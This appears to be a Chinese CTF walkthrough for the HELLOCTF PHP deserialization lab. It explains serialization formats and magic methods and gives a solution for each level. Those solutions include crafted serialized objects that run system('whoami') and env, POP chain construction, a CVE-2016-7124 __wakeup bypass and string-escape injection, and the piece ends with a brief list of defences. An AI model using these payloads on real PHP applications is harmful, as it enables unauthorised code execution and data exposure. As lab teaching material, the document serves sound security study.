HELLOCTF反序列化靶场全解
字数 1598 2025-08-22 12:22:42
PHP反序列化漏洞全面解析与实战指南
1. 反序列化基础概念
1.1 序列化与反序列化
序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将字符串重新转换为对象的过程。PHP中使用serialize()和unserialize()函数实现这一功能。
1.2 基本序列化格式
- 对象:
O:长度:"类名":属性数量:{属性类型:属性名长度:"属性名";属性值类型:属性值长度:"属性值";...} - 字符串:
s:长度:"值"; - 整数:
i:值; - 布尔值:
b:值;(1或0) - NULL:
N; - 数组:
a:元素数量:{键类型:键长度:"键名";值类型:值长度:"值";...}
2. 反序列化漏洞基础关卡解析
2.1 关卡2:类值的传递
漏洞点:通过eval()执行用户输入的代码,直接修改类属性值。
class FLAG {
public $free_flag = "???";
function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();
$code = $_POST['code'];
eval($code);
$target->get_free_flag();
利用方式:
$target->free_flag = $flag_string;
2.2 关卡3:对象中值的权限
知识点:
public:任何地方可访问protected:自身及子类、父类可访问private:仅定义类可访问
利用方式:
echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
2.3 关卡4:私有属性序列化
特点:私有属性在序列化时会包含类名前缀和不可见字符%00
利用方式:
echo serialize($flag_is_here);
// 输出包含私有属性的序列化字符串
2.4 关卡5:序列化规则
知识点:不同类型数据的序列化格式
利用方式:
构造满足条件的序列化字符串:
class a_class {
public $a_value = "FLAG";
}
$a_object = new a_class();
$a_array = array("a" => "Plz", "b" => "Give_M3");
$a_string = "IWANT";
$a_number = 1;
$a_boolean = true;
$a_null = null;
$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)
."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null);
3. 魔术方法与反序列化
3.1 常见魔术方法
__construct():构造函数,对象创建时调用__destruct():析构函数,对象销毁时调用__wakeup():反序列化时调用__sleep():序列化前调用__toString():对象被当作字符串时调用__invoke():对象被当作函数调用时触发
3.2 关卡7:基础反序列化漏洞
漏洞点:直接反序列化用户输入并调用危险方法
class FLAG {
public $flag_command = "echo 'Hello CTF!<br>';";
function backdoor(){
eval($this->flag_command);
}
}
unserialize($_POST['o'])->backdoor();
利用方式:
构造恶意序列化对象:
class FLAG {
public $flag_command = "system('whoami');";
}
echo serialize(new FLAG());
3.3 关卡8:构造与析构函数
特点:
__construct()仅在实例化时调用__destruct()在对象销毁时调用
利用方式:
通过多次序列化/反序列化触发多次析构:
unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG())))))));
3.4 关卡9:析构函数后门
利用方式:
class FLAG {
var $flag_command = "echo `env`;";
}
echo urlencode(serialize(new FLAG()));
3.5 关卡10:__wakeup()方法
特点:在反序列化前自动调用
利用方式:
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
echo serialize(new FLAG());
3.6 关卡11:CVE-2016-7124绕过__wakeup()
漏洞:当序列化字符串中对象属性数量大于实际数量时跳过__wakeup()
利用方式:
修改属性数量:
O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";}
改为
O:4:"FLAG":2:{s:4:"flag";s:9:"fuckflag";}
3.7 关卡12:__sleep()方法
特点:在序列化前调用,决定哪些属性被序列化
利用方式:
// 通过chance参数控制返回的属性
?chance=%00FLAG%00f
3.8 关卡13:__toString()方法
特点:对象被当作字符串时调用
利用方式:
class FLAG {
function __toString() {
include 'flag.php';
return $flag;
}
}
$obj = new FLAG();
echo $obj;
3.9 关卡14:__invoke()方法
特点:对象被当作函数调用时触发
利用方式:
class FLAG {
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}
$obj = new FLAG();
$obj('get_flag');
4. 高级利用技巧
4.1 关卡15:POP链构造
原理:通过一系列对象属性调用形成攻击链
利用方式:
$C = new C("system('env');");
$B = new B($C);
$A = new A($B);
$destnation = new destnation($A);
$D = new d($destnation);
echo serialize($D);
4.2 关卡16:魔术方法链式调用
利用方式:
class A {
public $a = 'flag.php';
public function __invoke() {
include $this->a;
return $flag;
}
}
class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
$a = new A;
$b = new B;
$init = new INIT;
$b->b = $a;
$init->name = $b;
echo serialize($init);
4.3 关卡17:字符串逃逸基础
原理:利用序列化字符串格式特性注入属性
利用方式:
class A{
public $helloctfcmd = "get_flag";
}
echo serialize(new A());
4.4 关卡18:字符串逃逸进阶
利用方式:
// 原始序列化字符串
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
// 通过替换修改
?target[]=Demo&target[]=20&change[]=FLAG&change[]=8
5. 防御措施
- 避免反序列化用户输入
- 使用
json_encode()/json_decode()代替序列化 - 实现
__wakeup()和__destruct()的安全检查 - 使用PHP 7.0.10+修复CVE-2016-7124
- 对序列化数据进行签名验证
6. 总结
PHP反序列化漏洞的核心在于:
- 理解序列化格式和魔术方法调用时机
- 掌握属性修饰符的影响
- 能够构造POP攻击链
- 了解字符串逃逸等高级技巧
- 熟悉常见绕过方式如CVE-2016-7124
通过系统学习这些知识点,可以有效挖掘和防御PHP反序列化漏洞。